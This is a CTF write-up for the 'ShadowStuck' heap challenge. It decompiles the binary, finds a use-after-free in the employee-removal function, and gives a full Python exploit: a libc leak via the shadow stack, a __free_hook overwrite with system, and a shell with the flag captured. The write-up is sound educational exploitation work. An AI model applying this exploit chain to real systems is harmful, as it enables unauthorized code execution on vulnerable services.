# ShadowStuck [455]Ever since PITA™ declared the usage of stack canaries inhumane, we've been working on bringing you the latest and greatest in animal-abuse-free stack protector technology. Can you crack it?
`nc challenges.ctf.kaf.sh 8000`
**Files**: shadowstuck libc-2.31.so
### This challenge was done with (the dev version of) [`pwnscripts`](https://github.com/152334H/pwnscripts). Try it!## FYIThis solution doesn't deal with the shadow stack at all. It's a simple UAF -> overwrite `__free_hook` -> `system('/bin/sh')`. By the time I noticed the BOF option (which was hidden by IDA), I'd already come up with the exploit plan laid out in the write-up.
Anyway,## Decompilation```sh[*] '/home/throwaway/shadowstuck'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled```On running the binary, we're immediately given an address leak:```sh$ ./shadowstuckShadow stack set up at 0x7fce419fd000Welcome to KEMS, the Kipod Employee Management System!What would you like to do today?[A]dd a new a employee[F]ire an employee[C]hange employee name[R]ead employee name[Q]uit>```The focus of this challenge is (supposed) to be on defeating the [shadow stack](https://people.eecs.berkeley.edu/~daw/papers/shadow-asiaccs15.pdf). As a consequence, the action of the program itself is rather simple, with a basic CLI menu resembling that of most CTF heap challenges.
It still took a number of hours to fully label the decompiled code, but that's just pwn for ya'.
Let's start with a few constants, derived from the binary:```c#define NAMESIZE 0x10typedef struct Employee {  char name[NAMESIZE];  Employee* next; // linked list} Employee;#define NOTESIZE sizeof(Employee)Employee *employee_linked_list; // this is g_list_root_0 renamed````Employee` is the important struct that the heap is used for in the binary. It's a basic linked-list that stores 16 bytes of memory per element for a user-controlled input field. The head of the linked-list is stored in the `.bss` segment, under the name `g_list_root` (renamed here to `employee_linked_list`).
There are four ways to manipulate the Employee list:### AddThis adds an employee to the end of the linked list.* `manager_add()` a name from `fgets(NAMESIZE)`.* `manager_log()` it out.```c{  char name[NAMESIZE]; // [rsp-18h] [rbp-18h]  printf("Enter new employee name:\n> ", retaddr);  fgets(name, NAMESIZE, stdin);    // guaranteed to null terminate  remove_newlines(name, NAMESIZE);  manager_add(name);  manager_log(NULL, true, name);}```### FireThis removes a specific employee from any point in the linked list.* `manager_remove()` a name from `fgets(NAMESIZE)`.* On success, `manager_log()` a `malloc(NOTESIZE)`'d note with `fgets(NOTESIZE)`, and then free the malloc'd note.```c{  char name[NAMESIZE]; // [rsp-28h] [rbp-28h]  printf("Which employee would you like to fire?\n> ");  fgets(name, NAMESIZE, stdin);  remove_newlines(name, NAMESIZE);  if (manager_remove(name))    printf("Could not fire employee with name %s. Maybe no such employee exists?\n", name);  else {    printf_("Employee %s removed. Please enter a short note as to why they were fired.\n> ", name);    char *note = (char *)malloc(NOTESIZE); // Note that this provides the same chunk size as alloc(NAMESIZE).    fgets(note, NOTESIZE, stdin);    remove_newlines(note, NOTESIZE);    manager_log(note, false, name);    free(note);  }}```### ChangeThis alters the value of the `name[]` field for a single element in the linked list.* Get an unsigned id with `strtoq(fgets(5))`* if the id is within 0-999, get the employee's name with `fgets(NAMESIZE)`, and send it to `manager_rename()`.```c{  _BYTE id_input[5]; // [rsp-15h] [rbp-15h]  printf("Which employee ID what you like to rename?\n> ");  fgets(id_input, 5, stdin);  remove_newlines(id_input, 5);  unsigned int uid = strtoq(id_input, NULL, 10);  if (uid <= 999) {    char name[NAMESIZE]; // [rsp-28h] [rbp-28h]    printf("Enter new name for employee:\n> ");    fgets(name, NAMESIZE, stdin);    remove_newlines(name, NAMESIZE);    if (manager_rename(uid, name))      printf("Could not rename employee #%d, maybe it doesn't exist?\n", uid);    else      printf("Renamed employee #%d to %s.\n", uid, name);  }  else    puts("Invalid ID, only 0-999 are supported.");}```### ReadThis prints the value of the `name[]` field for a single element in the linked list.* get an unsigned id with `fgets(5)`, and find the corresponding name with `manager_read()`.* if the employee exists, print the name found.```c{  _BYTE id[5]; // [rsp-1Dh] [rbp-1Dh]  printf("Which employee ID what you like to get the name of?\n> ");  fgets(id, 5, stdin);  remove_newlines(id, 5);  unsigned int uid = strtoq(id, 0, 10);  if (uid <= 0x3E7) {    Employee *name = manager_read(uid);    if (name)      printf("Employee #%d has has name: %s\n", uid, name);    else      printf("Could not get name for employee ID %d, maybe it doesn't exist?\n", uid);  }  else    puts("Invalid ID, only 0-999 are supported.");}```Every decompiled function shown above (and below) has a `_cyg_profile_func_enter()` and `__cyg_profile_func_exit()` at the function prologue/epilogue; they're just omitted for brevity.
So far, we've found 0 bugs. It looks like we'll need to dig a little bit deeper. Each of the 4 options is reliant on (at least) one of the `manager_*` functions, so we'll have a look at those.### manager_remove [bugged]This function is used to remove the (first) employee of a given input `name` from the linked list.* Look for the employee `i` of `name` by traversing through `employee_linked_list`.* Find the parent of `i`, and set the parent's `next` pointer to `i`'s next pointer.  * **If no parent exists, this part of the step will do nothing.*** `free(i)`.```c__int64 manager_remove(char *name) {  if (employee_linked_list){    Employee *i, *j;    for (i = employee_linked_list; ; i = i->next){      if (!i) return 1;      if (strcmp(name, i) == 0) break;    } // now, i == pointer to the (first) employee of `name`    for (j = employee_linked_list; j->next; j = j->next){      if ( i == j->next ){ // if the employee's parent is found,        j->next = i->next; // merge the linked list nodes        break;      }    } // !!! If `i` happens to be the root node; it's pointer won't be removed.    free(i); // This is open for a double-free due to aforementioned bug    return 0;  }  return 1;}````manager_remove()` provides the most important bug in our exploit chain; everything else is only useful for the completion of the exploit.### manager_addThis allocates & appends a new employee of user-controlled `name` to the linked list.* `calloc()` a new Employee.* Return failure if the input string length is NAMESIZE or longer.* Copy over `strlen(name)` bytes from `name` to the newly `calloc()`'d name.* Add the `calloc()`'d Employee to the end of the linked list.```c__int64 manager_add(char *name) {  Employee *alloc_name = (Employee *)calloc(1, NOTESIZE);  unsigned int namelen = strlen(name);  if (name && namelen <= 0xF && alloc_name) {    memcpy(alloc_name->name, name, namelen);    if (employee_linked_list) { // if this is not the first employee      Employee *i;      for (i = employee_linked_list; i->next; i = i->next);      i->next = alloc_name;    } else      employee_linked_list = alloc_name;    return 0;  }  return 1;}```### manager_readThis just locates the pointer to the `uid`th employee in the linked list.* Look for the `uid`th employee in the linked list, and return it.```cEmployee *manager_read(int uid) {  Employee *result_; // rbx  Employee *employee; // [rsp-28h] [rbp-28h]  if (Employee *employee = employee_linked_list)    for (long long id_count = 0; employee; employee = employee->next)      if (id_count++ == uid) return employee;  return 0;}```### manager_renameThis changes the name field of the `uid`th employee.* Look for the `uid`th employee in the linked list, and copy the given `name` into `employee->name`, so long as `strlen(name) < NAMESIZE````c__int64 manager_rename(int uid, char *name) {  if (name) {    unsigned int namelen = strlen(name);    if (employee_linked_list && namelen <= 0xF) {      long long id_count = 0;      for (Employee *employee = employee_linked_list; employee; employee = employee->next)        if (id_count++ == uid) {          memcpy(employee->name, name, namelen);          return 0;        }    }  }  return 1;}```### manager_logThis is used to print out employee names and sacking notes.* If an employee is being added, print the `name` variable.* If an employee is being removed, print `name` and `note`.```c__int64 manager_log(char *note@<rdx>, int added@<edi>, char *name@<rsi>) {  if (!name) return 1;  if (added) printf_("[LOG]: Added new employee with name %s\n", name);  else { //employee was removed    if (!note) return 1;    printf_("[LOG]: Removed employee with name %s. Reason: %s\n", name, note);  }}```During that decompilation, I also got to work on a simple python wrapper to make exploitation writing easier:```pythonfrom pwnscripts import *context.binary = 'shadowstuck'context.libc_database = 'libc-database'context.libc = 'libc-2.31.so'class KEMS(pwnlib.tubes.remote.remote):    def _do(p, opt: str):        if len(opt) != 1: raise ValueError        p.sendlineafter('> ', opt)    def add(p, name: bytes):        p._do('A')        p.sendlineafter('> ', name)        return p.recvline()    def fire(p, name: bytes, note: bytes):        p._do('F')        p.sendlineafter('> ', name)        p.sendlineafter('> ', note)        return p.recvline()    def change(p, uid: int, name: bytes):        p._do('C')        p.sendlineafter('> ', str(uid))        p.sendlineafter('> ', name)        return p.recvline()    def read(p, uid: int):        p._do('R')        p.sendlineafter('> ', str(uid))        return p.recvline()    def quit(p, bof: bytes):        p._do('Q')        p.recvuntil('BOF on me.\n')        p.send(bof)```We'll be using this for the rest of the passage.## IdeasThis is libc-2.31 --- Even the tcache has double-free protections here. Instead of targeting a double-free, we can focus on abusing the Use-After-Free capabilities brought by the error in `manager_remove`.
At some point, I realised that the allocation of the `malloc(NOTESIZE)` was important for two reasons:* For heap allocations on x86-64, there is **no difference** between user-sizes `0x10` and `0x18`; they're both thrown to the bins of true size `0x20`* Unlike other parts of the binary, `malloc()` is used instead of `calloc()`, pointing to an increased potential for bugs.
My idea at this point was as follows:1. Allocate an employee. This is `calloc(1,0x18)` with garbage input.2. Sack that guy (`free()`ing the previous pointer). Due to the bug in `manager_remove`, the sacked employee is **still located** at `employee_linked_list`. At this point, the 0th employee is an employee with a zeroed-out name && a null `next` pointer.3. The program prompts the user for a note of `malloc(0x18)`. This will return **the same pointer** as the one currently stored at `employee_linked_list`. Write `0x10` bytes of garbage, and then write *a pointer you want to manipulate* (e.g. the given shadow stack pointer).   * The `0x10` bytes will be zeroed during the `free()` immediately after, but the written pointer will not be.4. Edit `0x10` bytes of that pointer with `kems_change()`, or maybe read from it with `kems_read()`. Either one is possible.
The shadow stack prevents any exploits that directly target the return pointer. This means that our best bet is probably to just edit `__free_hook` to spawn a shell, rather than having to deal with any of the shadow stack nonsense.
To start, we'll need a libc leak. From gdb experimentation, I realised that the location of the shadow stack is always a constant distance away from the libc page itself. For instance, on a machine I had with a similar (but not identical) libc version:```py0x00007ffff7dcd000 0x00007ffff7df2000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7df2000 0x00007ffff7f6a000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7f6a000 0x00007ffff7fb4000 0x000000000019d000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fb4000 0x00007ffff7fb5000 0x00000000001e7000 --- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fb5000 0x00007ffff7fb8000 0x00000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fb8000 0x00007ffff7fbb000 0x00000000001ea000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ffff7fbb000 0x00007ffff7fc1000 0x0000000000000000 rw-0x00007ffff7fc8000 0x00007ffff7fc9000 0x0000000000000000 ---0x00007ffff7fc9000 0x00007ffff7fca000 0x0000000000000000 rw- [Shadow Stack]```ASLR is enabled in the vmmap dump above, but even with ASLR enabled, the offset between libc and the `mmap()`'d shadow stack is still a constant, albeit a different one.
To find the actual constant offset on the remote, we can abuse the exploit steps above to run `kems_read()` on the shadow stack itself, leaking out the location of `__libc_start_main_ret`:```pythonp = KEMS('challenges.ctf.kaf.sh', 8000)shadow_stack = unpack_hex(p.recvline())p.add(b'me')p.fire(b'me', b'a'*0x10 + pack(shadow_stack+1)[:6]) # `fgets()` will stop reading on a null byte, so we'll add 1 to the address.libc_leak = p.read(1).split(b': ')[-1][:5]   # This is a byte leak of __libc_start_main_ret[1:6].context.libc.address = (unpack_bytes(libc_leak,5)-context.libc.symbols['__libc_start_main_ret']//0x100)*0x100SHADOW_OFFSET = shadow_stack-context.libc.addresslog.info('The distance between libc and the shadow stack is ' + hex(SHADOW_OFFSET))```After that, we'll be able to use the given pointer of the shadow stack to directly calculate the location of `__free_hook`. Once that's possible, it's trivial to recycle the exploit to call `system("/bin/sh")` via the `kems_fire()` method, which gives us a call to `free()` with user-controlled input.```pythonp = KEMS('challenges.ctf.kaf.sh', 8000)context.libc.address = unpack_hex(p.recvline())-SHADOW_OFFSETp.add(b'me')# Set the employee_linked_list->next pointer to free_hook.p.fire(b'me', b'a'*0x10 + pack(context.libc.symbols['__free_hook'])[:6])p.change(1, pack(context.libc.symbols['system'])[:6])p.fire(b'', b'/bin/sh') # The 0th employee has a null name at this point, hence the b''.log.info('Opening shell.')p.interactive()```That's it.```python[+] Opening connection to challenges.ctf.kaf.sh on port 8000: Done[*] The distance between libc and the shadow stack is -0x2000[+] Opening connection to challenges.ctf.kaf.sh on port 8000: Done[*] Opening shell.[*] Switching to interactive mode$ lsflagshadowstuckynetd$ cat flagKAF{1_SUR3_H0P3_C3T_1S_B3TTER_WR1TTEN}$```### MainThere's no need to understand how `main()` works to complete this challenge, but the analysis is here for viewing anyway:* Prior to main, the shadow stack is initialised && leaked.* `main()` does a simple menu loop that can be exited with Q.* Quitting will grant a simple BOF that will (almost certainly) lead to an exit due to the shadow stack.```cint main() {  unsigned __int8 c; // [rsp-19h] [rbp-19h]  void * retaddr; // [rbp+0h] /* this should really be rbp+0x8 */  _cyg_profile_func_enter(main, retaddr);  setvbuf(stdout, 0, 2, 0);  puts("Welcome to KEMS, the Kipod Employee Management System!\nWhat would you like to do today?");  while (1) {    printf_("[A]dd a new a employee\n[F]ire an employee\n[C]hange employee name\n[R]ead employee name\n[Q]uit\n> ", 0LL);    while ((c = getc(stdin)) != '\n');    unsigned int action = c-'A'; //eax    if (action <= 0x11)      switch (action) {        case 0: // Add          kems_add(); break;        case 2: // Change          kems_change(); break;        case 5: // Fire          kems_fire(); break;        case 16: /* Our exploit never uses this section! Hurray for unintended solutions. */          puts("Sure you want to leave? Here, have a BOF on me.");          fgets(rbp-0x11, 0x40, stdin);          remove_newlines(rbp-0x11, 0x40);          // ebx = 0;          __cyg_profile_func_exit(main, retaddr);          return 0; // add rsp 0x18, pop rbx, pop rbp;        case 17:          kems_read(); break;      }    puts_("\nInvalid action! Please try again.");  }}```### remove_newlinesThis function is self-describing, so I didn't bother to talk about it. It's still relatively important, though, so here it is:```c__int64 remove_newlines(char *s, unsigned int len) {  for (unsigned i = 0; i < len; ++i)    if (s[i] == '\n') s[i] = '\0';}```